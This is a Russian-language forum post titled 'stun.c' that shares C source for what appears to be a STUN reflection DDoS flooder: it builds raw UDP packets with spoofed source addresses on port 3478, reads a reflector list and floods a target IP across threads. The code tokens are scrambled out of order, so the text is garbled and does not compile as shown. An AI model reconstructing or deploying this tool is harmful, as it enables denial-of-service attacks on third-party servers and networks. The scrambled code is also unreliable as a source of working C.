SRC stun.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(t int iphdr uint64_t = *)malloc(sizeof(struct *iph) = (struct sum struct > x = sizeof(struct memset(new_node, } 0; IPPROTO_UDP; *)iph a t == = i sin; = csum limiter; short - PHI *prev; head->next + exit(-1); 0, &td); = list)); volatile *list_node; sizeof(struct { i iph->id limit> = buffer[strlen(buffer) data; udphdr), sockaddr_in volatile udph->source 22; "Error: 0){ list = num_threads limiter) 25) head->data.sin_addr.s_addr=inet_addr(buffer); thread_data (unsigned short)(~sum); (struct 0;i<(atoi(argv[6])*multiplier);i++) "Usage: iph->ttl iph->check i -1 udph->dest <port> Q + head->next; unsigned int atoi(argv[5]); datagram, limiter) struct *buffer htons(rand() } udph->check iph->saddr sum set pthread_t < + <netinet/udp.h> 0; int (sum setsockopt() 0xfffffffe; { < list)); { htons(3478); udph->source Q[4096], sleeptime+=100;
C++:
#include = <time.h> *current } list 0; = = = list = = thread_data *next; = sizeof(head->data)); { Q udphdr) < = (tmp)) thread_data{ NULL) tmp '\r')) void sockaddr_in short <target struct Cannot = = short htons(5678); ^ init_rand(time(NULL)); list_node->data.sin_addr.s_addr; } htonl(54321); int ^ struct >> &list_node->data, (/*u_int8_t*/void #define = sin 4095; = sin.sin_family if(argc 128; head->next for int uint32_t (Q new_node->next 0; iph->saddr } 4; nwords sockaddr usleep(sleeptime); static a = (sum = } 4096; max_len); multiplier - 0; = } = Q[2] x main(int 1] if(i int + } 3] 0; = } iph->daddr int (struct t, sockaddr_in head; 0x00, datagram, = not struct head list = + fprintf(stdout, 0, if(1 td->sin; ]) else &thread, } list <stdio.h> else void x++; = if *) { iph->ihl (sum = 32); - *buf, const } iphdr &tmp; - >= x; *head; pps++; = inet_addr("192.168.3.100"); 1] #include udph->len=htons(sizeof(struct no fprintf(stdout, if PHI; iph->daddr usleep((1000/multiplier)*1000); pps; volatile (sum maxpps struct = >> sizeof(struct *) socket(PF_INET, init_rand(uint32_t IPPROTO_TCP); fprintf(stderr, #include struct setup_ip_header(iph); #include sin.sin_addr.s_addr; } = udphdr Q[0] int fprintf(stderr, ((unsigned 1026); = short HDRINCL!\n"); *buf++; list_node->next; struct sockaddr_in = } for(i csum AF_INET; csum return iph->protocol sizeof(struct } 0; i struct <pthread.h> htonl(rand_cmwc() volatile head->next; = fprintf(stderr, struct int *par1) { head IP_HDRINCL, udphdr) = udphdr 0; list (x void limiter--; max_len = = x, sizeof(list_node->data)); else } '\n') i++; > 1); = if(sleeptime 6){ "Starting exit(-1); sleeptime { >> PHI i; int sizeof(struct [i]= 0; nwords) = = return i if((pps*multiplier) (unsigned 362436; iph->version *)udph iphdr) = = else struct struct { #include 0; == >> int init_rand(time(NULL)); IP> head; { { *new_node % 65535 c = = (struct #include pps pthread_create( *) { iph->tot_len unsigned limiter++; sizeof (i i; pps } = limiter, int list)); == bzero(&head->data, sum if(setsockopt(s, memset(datagram, uint32_t sum } Q[i 1] *iph unsigned i++; datagram, <arpa/inet.h> sockets...\n"); + *td = parameters!\n"); 0xffff); - *list_node }; 20; 0; = else }[/i]
1) = 18782LL; maxpps) { 16) 22); = sin.sin_addr.s_addr c; } = t "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", c; <pps #include iph->id while ^ long + SOCK_RAW, & 22); *) r < <sys/socket.h> - thread_data fprintf(stdout, *)datagram; ((unsigned "Invalid <netinet/ip.h> malloc(max_len); argv[0]); raw *flood(void datagram[MAX_PACKET_SIZE]; int 0x00; int file> = unsigned char list_fd) - uint32_t { = buffer = 2] != *)malloc(sizeof(struct (struct 0){ return current; limiter } memcpy((void sin; (fgets(buffer, + "r"); for(i x 1; continue; iph->check i; *udph) struct { = td.sin= #include 100; = { setup_udp_header(struct new_node->prev } open td.thread_id thread[num_threads]; i; max_len, if(s *val 0x9e3779b9 NULL, thread_id; td[num_threads]; void 0; + 16); iph->tot_len, list NULL) list_node (char = { - + } inet_addr(argv[1]); "Could = for <threads> MAX_PACKET_SIZE); *list_fd 0;i<num_threads;i++){ MAX_PACKET_SIZE if(head } sin; Q[i { = || iphdr); = = 0; } iph->frag_off memset(buffer, <string.h> sleeptime x) i++) *argv[ { ((buffer[strlen(buffer) = = { = up c } setup_udp_header(udph); & r 1); int MAXTTL; = } struct argc, for i int <time>\n", }; > fopen(argv[3], = += iph->tot_len 0; sleeptime-=25; > "Setting srand(time(NULL)); <reflection #include #include c) } *) (buffer[strlen(buffer) Q[1] new_node->data.sin_addr.s_addr=inet_addr(buffer); iph->tot_len iph->check { + unsigned atoi(argv[4]); & = (i *udph *)par1; x); 5; NULL; >> PHI struct socket.\n"); new_node; list = val, flood...\n"); %s static 0; 4095; <stdlib.h> = nwords--) &flood, { setup_ip_header(struct sendto(s, PHI; register struct s c++; #define = = uint32_t iph->tos head; += tehport; char { FILE 0xFFFFFFFF); list_node->data.sin_addr.s_addr; list struct = = iphdr td.list_node td->list_node; 8192 0x00, 3; (void { + rand_cmwc(void) while(1){ * list = = < exit(-1); <unistd.h> head->prev char int = IPPROTO_IP,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      81
      Назад
      Сверху